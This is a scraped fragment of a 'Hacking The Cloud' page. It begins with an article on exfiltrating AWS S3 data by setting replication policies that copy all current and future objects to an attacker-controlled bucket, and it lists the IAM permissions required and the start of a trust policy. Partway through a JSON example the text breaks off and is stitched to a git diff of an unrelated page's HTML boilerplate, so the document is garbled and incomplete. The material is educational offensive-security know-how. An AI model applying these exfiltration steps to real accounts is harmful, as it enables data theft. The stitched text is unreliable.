</a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#introduction class=md-nav__link> <span class=md-ellipsis> Introduction </span> </a> </li> <li class=md-nav__item> <a href=#required-configurations-and-permissions class=md-nav__link> <span class=md-ellipsis> Required Configurations and Permissions </span> </a> <nav class=md-nav aria-label="Required Configurations and Permissions"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#pre-requisites class=md-nav__link> <span class=md-ellipsis> Pre-requisites </span> </a> </li> <li class=md-nav__item> <a href=#iam-role class=md-nav__link> <span class=md-ellipsis> IAM Role </span> </a> </li> <li class=md-nav__item> <a href=#kms-if-objects-are-encrypted class=md-nav__link> <span class=md-ellipsis> KMS - If objects are encrypted </span> </a> </li> <li class=md-nav__item> <a href=#attacker-account-configuration class=md-nav__link> <span class=md-ellipsis> Attacker Account Configuration </span> </a> </li> <li class=md-nav__item> <a href=#configuring-the-replication class=md-nav__link> <span class=md-ellipsis> Configuring the replication </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#what-defenders-can-look-for class=md-nav__link> <span class=md-ellipsis> What defenders can look for </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Ben Leembruggen</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3-bucket-replication-exfiltration.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Exfiltrating S3 Data with Bucket Replication Policies</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://bleemb.medium.com/data-exfiltration-with-native-aws-s3-features-c94ae4d13436>Data exfiltration with native AWS S3 features</a> by <a href=https://bleemb.medium.com/ >Ben Leembnruggen</a></p> </li> </ul> </div> <h2 id=introduction>Introduction<a class=headerlink href=#introduction title="Permanent link">&para;</a></h2> <p><a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html>S3 data replication</a> provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.</p> <hr> <h2 id=required-configurations-and-permissions>Required Configurations and Permissions<a class=headerlink href=#required-configurations-and-permissions title="Permanent link">&para;</a></h2> <h3 id=pre-requisites>Pre-requisites<a class=headerlink href=#pre-requisites title="Permanent link">&para;</a></h3> <p>For bucket replication to be enabled, the following <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html>pre-requisites</a> need to be in place: </p> <ul> <li>The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled. </li> <li>Both source and destination buckets must have versioning enabled. </li> <li>If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled. </li> </ul> <h3 id=iam-role>IAM Role<a class=headerlink href=#iam-role title="Permanent link">&para;</a></h3> <p><em>Minimum Required IAM Permissions - Source Account</em> </p> <ul> <li><code>iam:CreateRole</code> (creating a new role) </li> <li><code>iam:CreatePolicy</code> &amp; <code>iam:AttachRolePolicy</code> (creating a new policy) or <code>iam:PutRolePolicy</code> (modifying an existing policy) </li> <li><code>iam:UpdateAssumeRolePolicy</code> </li> </ul> <p>Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:</p> <p>Trust Policy <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/exploitation/s3_server_access_logs/index.html b/aws/exploitation/s3_server_access_logs/index.html
index b3d60041b..f6e28520d 100644
--- a/aws/exploitation/s3_server_access_logs/index.html
+++ b/aws/exploitation/s3_server_access_logs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Exfiltrate data via S3:GetObject and S3 server access logs."><link href=https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ rel=canonical><link href=../s3-bucket-replication-exfiltration/ rel=prev><link href=../s3_streaming_copy/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Data Exfiltration through S3 Server Access Logs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Data Exfiltration through S3 Server Access Logs - Hacking The Cloud"><meta property=og:description content="Exfiltrate data via S3:GetObject and S3 server access logs."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Data Exfiltration through S3 Server Access Logs - Hacking The Cloud"><meta property=twitter:description content="Exfiltrate data via S3:GetObject and S3 server access logs."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Exfiltrate data via S3:GetObject and S3 server access logs."><link href=https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ rel=canonical><link href=../s3-bucket-replication-exfiltration/ rel=prev><link href=../s3_streaming_copy/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Data Exfiltration through S3 Server Access Logs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Data Exfiltration through S3 Server Access Logs - Hacking The Cloud"><meta property=og:description content="Exfiltrate data via S3:GetObject and S3 server access logs."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Data Exfiltration through S3 Server Access Logs - Hacking The Cloud"><meta property=twitter:description content="Exfiltrate data via S3:GetObject and S3 server access logs."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#data-exfiltration-through-s3-server-access-logs class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 